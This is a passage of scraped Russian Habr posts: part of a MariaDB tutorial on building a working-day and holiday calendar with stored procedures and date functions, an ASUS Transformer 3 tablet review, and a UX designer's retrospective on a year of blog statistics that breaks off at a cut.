NOT NULL AUTO_INCREMENT, `hdate` DATE NOT NULL COMMENT 'Праздничный или переносимый выходной день', `hdate_remap` DATE NOT NULL COMMENT 'День на который переносится Праздничный или переносимый выходной день', `hcomment` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8_unicode_ci', PRIMARY KEY (`id`) ) COMMENT='Ежегодный неизменяемый календарь праздничных дней' COLLATE='utf8_unicode_ci' ENGINE=InnoDB ROW_FORMAT=COMPACT AUTO_INCREMENT=1 ; CREATE TABLE `holidays` ( `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, `hdate` DATE NOT NULL COMMENT 'Праздничный или переносимый выходной день', `hdate_remap` DATE NOT NULL COMMENT 'День на который переносится Праздничный или переносимый выходной день', `hcomment` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8_unicode_ci', `hdate_workday` TINYINT(3) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Переносимый день является рабочим (0/1)', PRIMARY KEY (`id`), INDEX `IDX_hdate` (`hdate`), INDEX `IDX_hdate_remap` (`hdate_remap`) ) COMMENT='Календарь праздничных и переносимых дней' COLLATE='utf8_unicode_ci' ENGINE=InnoDB AUTO_INCREMENT=1 ; Зальём в таблицы периодические праздники INSERT INTO `holidays_periodic` (`id`, `hdate`, `hdate_remap`, `hcomment`) VALUES (1, '1970-01-01', '0000-00-00', 'Новый год'); INSERT INTO `holidays_periodic` (`id`, `hdate`, `hdate_remap`, `hcomment`) VALUES (2, '1970-01-07', '0000-00-00', 'Рождество Христово'); INSERT INTO `holidays_periodic` (`id`, `hdate`, `hdate_remap`, `hcomment`) VALUES (3, '1970-02-23', '0000-00-00', 'День защитника отечества'); INSERT INTO `holidays_periodic` (`id`, `hdate`, `hdate_remap`, `hcomment`) VALUES (4, '1970-03-08', '0000-00-00', 'Международный женский день'); INSERT INTO `holidays_periodic` (`id`, `hdate`, `hdate_remap`, `hcomment`) VALUES (5, '1970-05-01', '0000-00-00', 'Праздник весны и труда'); INSERT INTO `holidays_periodic` (`id`, `hdate`, `hdate_remap`, `hcomment`) VALUES (6, '1970-05-09', '0000-00-00', 'День победы'); INSERT INTO `holidays_periodic` (`id`, `hdate`, `hdate_remap`, `hcomment`) VALUES (7, '1970-06-12', '0000-00-00', 'День России'); INSERT INTO `holidays_periodic` (`id`, `hdate`, `hdate_remap`, `hcomment`) VALUES (8, '1970-11-04', '0000-00-00', 'День народного единства'); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (1, '2017-01-01', '2017-02-24', 'Новый год', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (2, '2017-01-07', '2017-05-08', 'Рождество Христово', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (3, '2017-02-23', '0000-00-00', 'День защитника отечества', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (4, '2017-03-08', '0000-00-00', 'Международный женский день', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (5, '2017-05-01', '0000-00-00', 'Праздник весны и труда', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (6, '2017-05-09', '0000-00-00', 'День победы', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (7, '2017-06-12', '0000-00-00', 'День России', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (8, '2017-11-04', '2017-11-06', 'День народного единства', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (9, '2016-01-02', '2016-05-03', NULL, 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (10, '2016-01-03', '2016-03-07', NULL, 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (11, '2016-02-20', '2016-02-22', NULL, 1); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (12, '2016-05-01', '2016-05-02', NULL, 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (13, '2016-06-12', '2016-06-13', NULL, 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (16, '2017-01-02', '0000-00-00', 'Каникулы', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (17, '2017-01-03', '0000-00-00', 'Каникулы', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (18, '2017-01-04', '0000-00-00', 'Каникулы', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (19, '2017-01-05', '0000-00-00', 'Каникулы', 0); INSERT INTO `holidays` (`id`, `hdate`, `hdate_remap`, `hcomment`, `hdate_workday`) VALUES (20, '2017-01-06', '0000-00-00', 'Каникулы', 0); Обратите внимание, что в таблице holidays присутствует поле hdate_workday , используемое если перенос осуществлён с выходного дня, который переназначен рабочим. Например 20 февраля 2016 года приходится на субботу, но согласно положению правительства, данный день переносится на 22 февраля и обозначен как рабочий. Т.е. появляется рабочая суббота, после которой идёт 3 дня отдыха. Начальные данные у нас есть, теперь магия SEQUENCE. Создадим таблицу календаря CREATE TABLE `calendar_byholiday` ( `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, `cdate` DATE NULL DEFAULT NULL, `holiday` TINYINT(4) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), INDEX `IDX_cdate` (`cdate`) ) COLLATE='utf8_unicode_ci' ENGINE=InnoDB ROW_FORMAT=COMPACT AUTO_INCREMENT=1 ; Для заполнения таблицы создадим хранимую процедуру CREATE DEFINER=`root`@`%` PROCEDURE `rebuild_calendar_byholiday`() LANGUAGE SQL NOT DETERMINISTIC CONTAINS SQL SQL SECURITY DEFINER COMMENT 'Обновление календаря с выходными днями' BEGIN DECLARE PastWeek DATE; DECLARE DaysLimit INT DEFAULT 365; DECLARE YearDIFF INT DEFAULT 0; # Начальная дата таблицы календаря минус одна неделя от текущей даты SET PastWeek=DATE_SUB(CURDATE(),INTERVAL 1 WEEK); # Чистим данные и индексы TRUNCATE TABLE calendar_byholiday; # Для заполнения таблицы используем SEQUENCE от 1 до 365 # Таблица пересоздаётся каждый день в 00:00 или по факту изменения таблицы holidays INSERT INTO calendar_byholiday (cdate,holiday) SELECT DATE (PastWeek + INTERVAL s.seq DAY) AS cdate, IF(DAYOFWEEK(DATE (PastWeek + INTERVAL s.seq DAY)) >= 2 AND DAYOFWEEK(DATE (PastWeek + INTERVAL s.seq DAY)) <= 6,0,1) as holiday FROM (SELECT seq FROM seq_0_to_365) s LIMIT DaysLimit ; # вычисляем разницу лет для периодических дат SET YearDIFF = YEAR(CURDATE()) - 1970; # отмечаем праздничные дни для периодических дат UPDATE calendar_byholiday c, holidays_periodic hp SET c.holiday = 1 WHERE c.cdate=DATE_ADD(hp.hdate,INTERVAL YearDIFF YEAR); # отмечаем перенесенные праздничные данные на другие дни UPDATE calendar_byholiday c, holidays h SET c.holiday = 1 WHERE (c.cdate=h.hdate OR c.cdate=h.hdate_remap) AND h.hdate_workday=0; # отмечаем перенесенные даты отмеченные как рабочие дни. UPDATE calendar_byholiday c, holidays h SET c.holiday = 0 WHERE c.cdate=h.hdate AND h.hdate_workday=1; END Далее достаточно сделать простой запрос call rebuild_calendar_byholiday(); select * from calendar_byholiday; Многие наверное скажут "ну и что? где тут магия ?" А магия в том, что глубину календаря можно регулировать изменением всего одного параметра DaysLimit, а также максимальным значением в цикле. FROM (SELECT seq FROM seq_0_to_365) s LIMIT DaysLimit; Создание календаря по времени занимает просто копейки. call rebuild_calendar_byholiday(); /* Затронуто строк: 0 Найденные строки: 0 Предупреждения: 0 Длительность 1 запрос: 0,032 sec. */ Но какой же календарь без функций приведения дат. Обычные операции в календаре подразумевают определение дат следующих за искомой через определенный интервал времени. Например предыдущий рабочий день, первый день квартала, последний рабочий день месяца и т.д. Ниже я собрал в единое целое свои наработки и Best Practices из сети по обработке дат CREATE DEFINER=`root`@`%` FUNCTION `date_transform`( `InDate` TIMESTAMP, `Method` INT, `Units` VARCHAR(10), `Duration` INT SIGNED ) RETURNS datetime LANGUAGE SQL NOT DETERMINISTIC CONTAINS SQL SQL SECURITY DEFINER COMMENT 'Трансформация даты' BEGIN DECLARE ReturnDate DATETIME; DECLARE LastQuarterDate DATE; DECLARE LastYearDate DATE; SET ReturnDate=InDate; CASE WHEN Method = 2 THEN # Предыдущий рабочий день SELECT CASE WHEN WEEKDAY(InDate - INTERVAL 1 DAY) = 5 THEN (InDate - INTERVAL 2 DAY) WHEN WEEKDAY(InDate - INTERVAL 1 DAY) = 6 THEN (InDate - INTERVAL 3 DAY) ELSE (InDate - INTERVAL 1 DAY) END INTO ReturnDate; WHEN Method = 3 THEN # Первое число месяца SELECT (InDate - INTERVAL DAYOFMONTH(InDate)-1 DAY) INTO ReturnDate; WHEN Method = 4 THEN # Первое число квартала SELECT STR_TO_DATE(CONCAT(EXTRACT(YEAR FROM InDate),'-',(QUARTER(InDate)-1)*3+1,'-01'),'%Y-%m-%d') INTO ReturnDate; WHEN Method = 5 THEN # Первое число года SELECT STR_TO_DATE(CONCAT(EXTRACT(YEAR FROM InDate),'-01-01'),'%Y-%m-%d') INTO ReturnDate; WHEN Method = 6 THEN # Последнее число месяца SELECT LAST_DAY(InDate) INTO ReturnDate; WHEN Method = 7 THEN # Последнее число квартала SELECT CASE WHEN MOD(MONTH(InDate),3) != 0 THEN LAST_DAY(DATE_ADD(InDate,INTERVAL (3-MOD(MONTH(InDate),3)) MONTH)) ELSE LAST_DAY(InDate) END INTO ReturnDate; WHEN Method = 8 THEN # Последнее число года SELECT STR_TO_DATE(CONCAT(EXTRACT(YEAR FROM InDate),'-12-31'),'%Y-%m-%d') INTO ReturnDate; WHEN Method = 9 THEN # Последний рабочий день месяца SELECT CASE WHEN WEEKDAY(LAST_DAY(InDate)) = 5 THEN DATE_SUB(LAST_DAY(InDate),INTERVAL 1 DAY) WHEN WEEKDAY(LAST_DAY(InDate)) = 6 THEN DATE_SUB(LAST_DAY(InDate),INTERVAL 2 DAY) ELSE LAST_DAY(InDate) END INTO ReturnDate; WHEN Method = 10 THEN # Последний рабочий день квартала SELECT CASE WHEN MOD(MONTH(InDate),3) != 0 THEN LAST_DAY(DATE_ADD(InDate,INTERVAL (3-MOD(MONTH(InDate),3)) MONTH)) ELSE LAST_DAY(InDate) END INTO LastQuarterDate; SELECT CASE WHEN WEEKDAY(LAST_DAY(LastQuarterDate)) = 5 THEN DATE_SUB(LAST_DAY(LastQuarterDate),INTERVAL 1 DAY) WHEN WEEKDAY(LAST_DAY(LastQuarterDate)) = 6 THEN DATE_SUB(LAST_DAY(LastQuarterDate),INTERVAL 2 DAY) ELSE LAST_DAY(LastQuarterDate) END INTO ReturnDate; WHEN Method = 11 THEN # Последний рабочий день года SELECT STR_TO_DATE(CONCAT(EXTRACT(YEAR FROM InDate),'-12-31'),'%Y-%m-%d') INTO LastYearDate; SELECT CASE WHEN WEEKDAY(LAST_DAY(LastYearDate)) = 5 THEN DATE_SUB(LAST_DAY(LastYearDate),INTERVAL 1 DAY) WHEN WEEKDAY(LAST_DAY(LastYearDate)) = 6 THEN DATE_SUB(LAST_DAY(LastYearDate),INTERVAL 2 DAY) ELSE LAST_DAY(LastYearDate) END INTO ReturnDate; WHEN Method = 12 THEN # Понедельник SELECT DATE_SUB(InDate,INTERVAL WEEKDAY(InDate) DAY) INTO ReturnDate; WHEN Method = 13 THEN # Вторник SELECT DATE_SUB(InDate,INTERVAL WEEKDAY(InDate)-1 DAY) INTO ReturnDate; WHEN Method = 14 THEN # Среда SELECT DATE_SUB(InDate,INTERVAL WEEKDAY(InDate)-2 DAY) INTO ReturnDate; WHEN Method = 15 THEN # Четверг SELECT DATE_SUB(InDate,INTERVAL WEEKDAY(InDate)-3 DAY) INTO ReturnDate; WHEN Method = 16 THEN # Пятница SELECT DATE_SUB(InDate,INTERVAL WEEKDAY(InDate)-4 DAY) INTO ReturnDate; WHEN Method = 17 THEN # Суббота SELECT DATE_SUB(InDate,INTERVAL WEEKDAY(InDate)-5 DAY) INTO ReturnDate; WHEN Method = 18 THEN # Воскресенье SELECT DATE_SUB(InDate,INTERVAL WEEKDAY(InDate)-6 DAY) INTO ReturnDate; ELSE # Без модификации BEGIN END; END CASE; SELECT CASE WHEN Units='minute' THEN ReturnDate + INTERVAL Duration MINUTE WHEN Units='hour' THEN ReturnDate + INTERVAL Duration HOUR WHEN Units='day' THEN ReturnDate + INTERVAL Duration DAY WHEN Units='week' THEN ReturnDate + INTERVAL Duration WEEK WHEN Units='month' THEN ReturnDate + INTERVAL Duration MONTH WHEN Units='year' THEN ReturnDate + INTERVAL Duration YEAR WHEN Units='workday' THEN get_workday_offset(ReturnDate,Duration) ELSE ReturnDate END INTO ReturnDate; RETURN ReturnDate; END CREATE DEFINER=`root`@`%` FUNCTION `get_workday_offset`( `InDate` DATETIME, `Offset` INT ) RETURNS DATETIME LANGUAGE SQL NOT DETERMINISTIC CONTAINS SQL SQL SECURITY DEFINER COMMENT '' BEGIN DECLARE ReturnDate DATETIME DEFAULT NULL; SET Offset=Offset-1; CASE WHEN Offset < 0 THEN SELECT InDate INTO ReturnDate; ELSE BEGIN SELECT cdate INTO ReturnDate FROM calendar_byholiday WHERE cdate >= InDate AND holiday=0 LIMIT Offset,1; END; END CASE; RETURN ReturnDate; END Собственно для чего это нужно? Это нужно для вычисления различной периодики в событиях. Например нужно понять на какое число приходится 6й рабочий день от начала месяца в январе 2017 года. MariaDB [db]> select date_transform('2017-01-26',3,'workday',6); +--------------------------------------------+ | date_transform('2017-01-26',3,'workday',6) | +--------------------------------------------+ | 2017-01-16 00:00:00 | +--------------------------------------------+ 1 row in set (0.01 sec) Или каким числом был понедельник для даты 15 декабря 2016 года. MariaDB [db]> select date_transform('2016-12-15',12,0,0); +-------------------------------------+ | date_transform('2016-12-15',12,0,0) | +-------------------------------------+ | 2016-12-12 00:00:00 | +-------------------------------------+ 1 row in set (0.00 sec) И т.д. Соответственно функция легко вызывается из обычных запросов и является довольно гибкой. Формат запроса следующий: date_transform(DATETIME,ModifyID,Units,Offset) где DATETIME — дата или дата со временем ModifyID: id;name 1;Без модификации 2;Предыдущий рабочий день 3;Первое число месяца 4;Первое число квартала 5;Первое число года 6;Последнее число месяца 7;Последнее число квартала 8;Последнее число года 9;Последний рабочий день месяца 10;Последний рабочий день квартала 11;Последний рабочий день года 12;Понедельник 13;Вторник 14;Среда 15;Четверг 16;Пятница 17;Суббота 18;Воскресенье Units: minute hour day week month year workday Offset: SIGNED INT Если Offset указать отрицательным числом, то вычисление будет производиться назад. В функции приведения дат, вычисление последних рабочих дней недели, месяца, года сделано независимо от календаря, т.е. для глобального календаря. Если нужна привязка к локальному календарю с праздничными днями, то лучше использовать 'workday' offset с отрицательным значением. Надеюсь кому-то данный материал поможет в разработке. © Aborche 2016
https://habrahabr.ru/post/318022/
habrahabr
Обзор трансформера ASUS Transformer 3
['трансформер', 'transformer 3']
Недавно мы рассказывали о небольшом трансформере Transformer Mini с откидной подставкой. А сегодня наш обзор посвящён его более крупному собрату — ASUS Transformer 3 (T305CA) с клавиатурным...
Недавно мы рассказывали о небольшом трансформере Transformer Mini с откидной подставкой. А сегодня наш обзор посвящён его более крупному собрату — ASUS Transformer 3 (T305CA) с клавиатурным чехлом-подставкой. Технические характеристики Операционная система : Windows 10 Домашняя Windows 10 Pro Процессор : Intel Core i5-7Y54 Оперативная память : 4 / 8 Гб, LPDDR3, 1866 МГц SDRAM (распаянная) Дисплей : 12,6" (3:2), WQHD+ (2880x1920), 85% NTSC Графика : интегрированная Intel HD Хранилище данных : SSD 128 Гб SATA3 M.2 SSD 256 Гб SATA3 M.2 SSD 512 Гб SATA3 M.2 Камеры : фронтальная 5 МП основная 13 МП Беспроводная связь : Integrated 802.11 AC Bluetooth V4.1 Разъёмы : 1 x комбинированный аудиоразъём 1 x USB 3.1 TYPE C / Thunderbolt 3 Аудио : 4 стереодинамика, поддержка технологии SonicMaster Premium Technology Аккумулятор : 38,5 Вт*ч, Li-Po Блок питания : Выход: 5 В, 2 A, 45 Вт Вход: 100 — 240 В, 50/60 Гц Размеры (без чехла) : 303 x 202 x 6,9 мм (Д x Ш x В) Вес : без чехла 695 гр. с чехлом 795 гр. Внешний вид Сразу хочу оговориться: в продаже будет две комплектации Transformer 3, с клавиатурой и без стилуса, а также со стилусом и без клавиатуры. У меня на обзоре был первый вариант, так что я ничего не могу сказать о стилусе, кроме того, что он распознаёт силу нажатия, — 1024 степени — что очень полезно для художников и дизайнеров. Также в наборе с самим устройством шли зарядка, салфетка для протирания экрана и мини док-станция. В ней три разъёма: USB 3.1 TYPE C / Thunderbolt 3, HDMI и USB 3.0. Однако обратите внимание, что в стандартных комплектациях док-станции не будет, её придётся покупать отдельно. На нижней части док-станции наклеена пластина из резиноподобного материала, препятствующего скольжению, когда вставляешь и вытаскиваешь штекеры. В Transformer Mini пристяжная клавиатура в закрытом виде защищала только экран устройства, а здесь она интегрирована в полноценный чехол, в который планшет заворачивается целиком. Чехол изготовлен из шероховатого, нескользкого материала. Полочка с контактным разъёмом оснащена мощными магнитами и буквально вцепляется в планшет. Держит очень надёжно. Клавиатура имеет очень низкий профиль, примерно как у ультрабуков. Ход клавиш всего 1,4 мм. Гладкий и скользкий тачпад приятно контрастирует с шероховатой окружающей поверхностью. Поэтому находить его наощупь гораздо проще, чем на большинстве ноутбуков. Клавиатура оснащена белой подсветкой с несколькими ступенями яркости. Совсем как в ноутбуках. Большое количество сгибов на крышке позволяет складывать её в разные конфигурации, подбирая наиболее удобное положение планшета. Разработчики предлагают два стандартных положения, но по месту можно будет сложить и как-то иначе. Корпус Transformer 3 — это цельнометаллическая алюминиевая деталь, в которой на ЧПУ-станках выточено множество полостей сложной формы для размещения внутренностей. Цвет у корпуса не серый алюминиевый, а с едва уловимым золотистым оттенком. На тыльной стороне сделан красиво переливающийся фирменный узор. В продаже будет и серый «титановый» вариант. Объектив основной камеры немного выступает над поверхностью корпуса. Слева от объектива — индикатор работы камеры, справа — датчик освещённости, а по краям — микрофоны. Торцы у Transformer 3 приятно скруглённые, со снятыми по периметру фасками. На левом торце — сеточки двух динамиков и комбинированный аудио-разъём. На верхнем торце — регулировка громкости и кнопка включения, совмещённая со сканером отпечатка пальца. На правом торце находится разъём USB 3.1 TYPE C / Thunderbolt 3, индикатор работы устройства и сеточки ещё двух динамиков. Дисплей 12,6-дюймовый дисплей радует отличной цветопередачей (85% NTSC) и чуть ли не 180-градусными углами обзора. Разрешение у него тоже очень достойное — 2880x1920, плотность пикселей достигает 275 ppi. Экран занимает 80% лицевой стороны устройства. Кому-то может показаться, что рамка вокруг дисплея неоправданно широкая. Но мне кажется, что это уже вопрос анатомических особенностей человека: когда держишь планшет в руках, то для комфортного хвата нужно достаточно места, иначе пальцы будут ненароком попадать не сенсорную область. Ведь планшет мы держим не так, как смартфон, который по большей части просто лежит в ладони; планшет обычно приходится держать пальцами по краям, как книгу или лист бумаги. Можно было бы сделать рамку гораздо тоньше, но тогда возникали бы случайные нажатия по краям экрана, а нас бы раздражало, что устройство дурит. Это как с размерами смартфонов — чисто технологически давно можно делать их гораздо тоньше, вот только пользоваться будет совершенно неудобно. Звук В последнее время на устройствах ASUS часто появляется логотип Harman Kardon. Это не может не радовать, учитывая репутацию этой компании. Новую традицию поддержал и Transformer 3. У планшета четыре динамика и встроенный усилитель SmartAmp. Система подстраивает вывод звука в зависимости от положения планшета, — альбомного или портретного — поэтому стереоэффект не пропадает, как бы вы не крутили устройство. Мне показалось, что четыре динамика создают более цельное, что ли, заполнение пространства звуком. Как будто он звучит весь, без каких-то отдельных источников звука, без более «удачного» направления на слушателя. И звучит очень приятно. Производительность Сердце Transformer 3 — процессор Intel Core i5-7Y54 , работающий на частоте 1,6 ГГц. Объём оперативной памяти — 4 или 8 ГГб, двухканальная. За графику отвечает интегрированный в процессор чип Intel HD Graphics 615. Характеристики по версии CPU-Z В качестве накопителя используется SSD объёмом 128, 256 или 512 Гб, подключённый по интерфейсу M.2. Результаты бенчмарков Unigine Heaven 4.0 GFXbench CPU-Z 3D mark Не могу сказать, что Transformer 3 отличался какой-то задумчивостью. У меня на тестировании была модель с 8 Гб ОЗУ, и этого было вполне достаточно для быстрой работы как самой ОС, так и браузера с парой десятков открытых вкладок, просмотра Full HD-видео с высоким битрейтом, и даже с Lightroom CC и Photoshop CC (которые доступны по подписке). Конечно, сложные эффекты, вроде тяжёлого сглаживания на 30-мегапиксельных фотографиях, применяются заметно медленнее, чем на моём стационарном компьютере, но Transformer 3 всё же совсем из другой весовой категории. В остальном же гаджет показывал весьма недурственную скорость работы, особенно учитывая очень приличное разрешение дисплея. Кстати, при длительных тяжёлых нагрузках трансформер ощутимо греется: охлаждение у него пассивное, так класть его на подушку и часами рубиться в WoT, наверное, не стоит. При стресс-тесте аккумулятор разрядился до 22% за 4,5 часа. При этом Transformer 3 поддерживает режим быстрой подзарядки: 60% ёмкости примерно за 50 минут. Заключение Этот трансформер — отчасти конкурирует с ультрабуками. Сравнимая степень компактности, разрешение на уровне больших мониторов, довольно приличный процессор. При этом его можно использовать в качестве планшета с «настольной» ОС и мощной аудиосистемой. Нехватка портов решается подключением док-станции, причём отдельно можно купить более крупную версию с со всевозможными разъёмами. В комплектации со стилусом Transformer 3 будет интересен прежде всего художникам, дизайнерам и просто ценителям мобильности, например, фотографам, у которых и без того рюкзаки забиты тяжёлой фототехникой. Рекомендованные розничные цены: Версия с 4 Гб памяти и SSD 128 Гб — 68 990 руб. Версия с 4 Гб памяти и SSD 256 Гб — 76 990 руб. Версия с 8 Гб памяти и SSD 512 Гб — 96 990 руб.
https://geektimes.ru/company/asus/blog/283848/
habrahabr
Дизайнер интерфейсов на Хабре — итоги моего первого года
['успех', 'развитие', 'карьера', 'свое дело', 'предпринимательство', 'эксперт', 'дизайнер интерфейсов']
Всем привет! В данном посте хотелось бы пройтись по статистике своих записей за год. Дело в том, что я, как UX/UI дизайнер внезапно начал писать на Хабр! Так уж вышло, сорян. Это было почти ровно...
Всем привет! В данном посте хотелось бы пройтись по статистике своих записей за год. Дело в том, что я, как UX/UI дизайнер внезапно начал писать на Хабр! Так уж вышло, сорян. Это было почти ровно год назад. Запись ту сурово слили — первый блин комом. Однако, кто-то нашёл в ней долю ценного и подарил мне Read/Write mode. Спасибо тебе, кстати, добрый человек. Если ты видишь этот пост, пожалуйста, тихонько кивни. Не новость, что близится к концу очередной насыщенный год и настало время подводить итоги. Я, по правде говоря, никогда этого не делал. И не понимал тех, кто делает. Год — это всего лишь единица прошедших событий. Завтра жизнь продолжится, она не начнётся с чистого листа. Тем не менее, я получил свой инвайт на Хабр год назад 14 декабря . Думаю, что за прошедший хаброгод, который был моим первым, гораздо интереснее провести черту, чем философствовать глобально о прожитом годе жизни. Итак, я написал 20 постов за этот период. Добро пожаловать под кат, если Вам интересно узнать мою историю о том, как за год мне удалось из своих читателей привлечь клиентов. Предыстория Наверное я тут, потому что никогда не нужно останавливаться в своём профессиональном развитии. Чёрт! Никогда бы не подумал, что скажу это :) На самом деле, год назад проекты текли вяло, перспективы были туманны, а мозгу требовалась встряска. Особенно если учесть, что я в дизайне уже не менее 15лет, и появилось ощущение, что я мог бы сформулировать свой опыт и изложить текстом. Вторая причина, откровенно говоря психологическим языком — это “жажда призвания”. Не поймите буквально. Для меня это была необходимость получать одобрение сделанному. Когда дизайнер интерфейсов долго создаёт проекты, предлагает не самые плохие решения, а проекты не доходят до беты — ему становится скучно и он обрастает сомнениями. Или проекты доходят до беты, фидбеки хорошие стали поступать, а деньги кончились. И такое тоже было в моей практике. Но к осознанию многих причин, по которым я пишу на Хабр, я приходил постепенно в течение года. Необходимость “призвания” я осознал где-то через несколько месяцев, когда попробовал описать один “замороженный” продукт. Оказалось, что я способен популярно объяснить, что и как я сделал в интерфейсе. И это оказалось интересно. Проект этот был старый, к сожалению вставшия на паузу, да и не покрыт NDA. Можно брать за основу. В общем, я начал блогерствовать. Хотя мне не нравится это слово. Я украдкой буду считать, что я воображаемый инженер в белом халате, который скурпулёзно что-то записывает о своих исследованиях. Разумеется, в первой серии своих постов я им еще не был. Позднее я стал прислушиваться к статистике постов и реакции аудитории. В результате я старался корректировать язык изложения и темы постов, чтобы понять что лучше “заходит”. Стрельнуть могло что угодно. Никогда не угадаешь. Я пробовал разные подходы к изложению, в которых я иногда применял немного маркетинга и пару приёмчиков. Это добавляло мне уверенности, что я всё-таки иногда тот воображаемый инженер-исследователь в белом халате в лаборатории исследований пользовательского опыта. Мой план сработал и во второй половине года у меня появились новые клиенты, разнообразные проекты и интереснейшие задачи. Люди охотно принимали стоимость за мои услуги, а я был окрылён весь август. До сих пор помню, как параллельно вёл аж три проекта. Рабочий день мог спокойно затянуться до 12 часов. Но меня это только вдохновляло! Неужели я начал пожинать плоды своих интеллектуальных трудов? Смог ли я таким образом конвертировать свои статьи в стабильный доход? Я думаю ответы на эти вопросы будут приходить ко мне постепенно. Кажется, эта схема действительно работает: ты можешь начать делится знаниями безвозмездно и что-нибудь хорошее обязательно произойдёт. Я до сих пор украдкой ожидаю, какого-то приятного сюрприза, который окажется поворотным. Нет, меня не позовут в Google. Пускай это будет какой-то интересный проект и интересные условия. И я за это буду благодарен себе и Хабру. История Давайте от фактов перейдем к цифрам. Особенно интересно это сделать, благодаря статистике, которая стала доступна в этом уходящем году. Для меня это была вау-фича! Дайте Вашим клиентам больше инструментов для улучшения своей деятельности на Вашем ресурсе — это повысит качество и позиции ресурса в целом . Абсолютно эффективный способ развития продукта. Короче, классный ход, Хабр. Итак, за период с 14-Декабря-2015 по 14-Декабря-2016 20-Декабря-2016 я написал 20 статей . Эта — не в счёт. Их посмотрело 274669 человек , из них добавили материал в избранное 2080 чел . Далее не самый очевидный показатель качества, но тем не менее: они дали суммарно +306 очков кармы (отрицательные посты учтены). Получается, что в среднем: Каждая статья получала: ~13733 просмотров ~104 добавлений в избранное ~15 очков рейтинга Я считаю что рейтинг не идеальный показатель качества написания постов. Тут слишком много факторов: и конкуренция, и возможность минусовать не заглядывая в пост, и фактор привилегии (изменять карму могут только приглашённые, одной регистрации недостаточно, а значит — мнение большинства проигнорировано). Если начать просто с популярности по числу просмотров, то тройка лучших постов будет: 73086 — Мои правила дизайна хорошего интерфейса 19289 — Проецируя Google Material Design на десктопную систему… (часть вторая) 18871 — Новый пользователь вашего продукта — как ему помочь? Не очень репрезентативно, т.к. разный пост получит впоследствии разное кол-во поискового трафика. Вдобавок, никогда не знаешь какая запись окажется в топе, если вообще окажется. Допустим я хочу определить топ-3 своих лучших статей только по рейтингу , тогда список будет таким: +64 Серия интерфейсных (не)обновлений — «Хабрахабр joins darkside» +51 Мои правила дизайна хорошего интерфейса +30 Окей, Google, как насчёт оптимизировать интерфейс для работы со смартфоном одной рукой? Опять же это не идеальный показатель, потому что учитывает мнение только продвинутой аудитории, которой меньше, чем читателей в целом. Если статья нравится любителю, то он не сможет повысить рейтинг, т.к. его мнение не считается авторитетным. Таковы правила. Ну и как же без “сухих” добавлений в избранное. Сортировка по наибольшему числу закладок показывает такой список: 651 закладок Мои правила дизайна хорошего интерфейса 252 закладок Оптимизируем свои трудозатраты при разработке приложения в Google Material Design 133 закладок Новый пользователь вашего продукта — как ему помочь? С этим показателем я полностью согласен, но в этом случае голоса “старожил” и “авторитетов” не учитываются. Нужна какая-то золотая середина. Если подсчитать соотношение просмотры / избранное , то это покажет статьи, которые наиболее активно добавлялись в закладки . Это некоторый промежуточный показатель качества: 1 / 69 Оптимизируем свои трудозатраты при разработке приложения в Google Material Design 1 / 108 Проецируя Google Material Design на десктопную систему… (часть четвёртая и заключительная) 1 / 112 Мои правила дизайна хорошего интерфейса 1 / 69 означает, что в избранное статью заносил каждый 69ый прочитавший. Получается, чем меньше соотношение, тем лучше. Пожалуй, компромиссом было бы найти теперь соотношение просмотры / избранное к рейтингу каждого поста, чтобы получить средний показатель интересности между обычными пользователями и теми кто приглашен и находится в Read/Write mode. Таким образом я резюмирую свой топ-3 лучших поста за год по мнению обоих сторон: 1 место (2.201 очка) Мои правила дизайна хорошего интерфейса . Считаю своим достижением года. Статья, в которой я собрал и описал свои методы работы на какое-то время стала хитом. Значит большинство читателей с этим согласны. Не это ли подтверждение того, что я всё делаю правильно? 2 место (4.905 очка) Оптимизируем свои трудозатраты при разработке приложения в Google Material Design Просто сборник дизайнерских ресурсов для оформления интерфейса под Android. В довесок небольшая методичка. Такое всегда пользуется спросом, потому что требуется для практики, и хорошо выдаётся в поисковиках. 3 место (5.04 очка) Серия интерфейсных (не)обновлений — «Хабрахабр joins darkside» . Внезапный любопытный эксперимент. Оказывается хабровчанам в целом понравилась идея с чёрной цветовой гаммой ресурса. Но ответной реакции “сверху” не последовало и мотивация закончилась. Извините, кто ждал стилей. Но здоровый энтузиазм, оказывается, имеет свои пределы… Такой вот дайджест самых популярных записей по нескольким параметрам получился. Заключение Спасибо всем, кто оценил мой Труд. Да, с большой буквы. Мне нравится писать на Хабр, но это всё-таки работа по своей сути. Спасибо и тем, кто ставил минусы. Вы заставляли меня думать, как писать интереснее. Сложно делать выводы о самом себе, 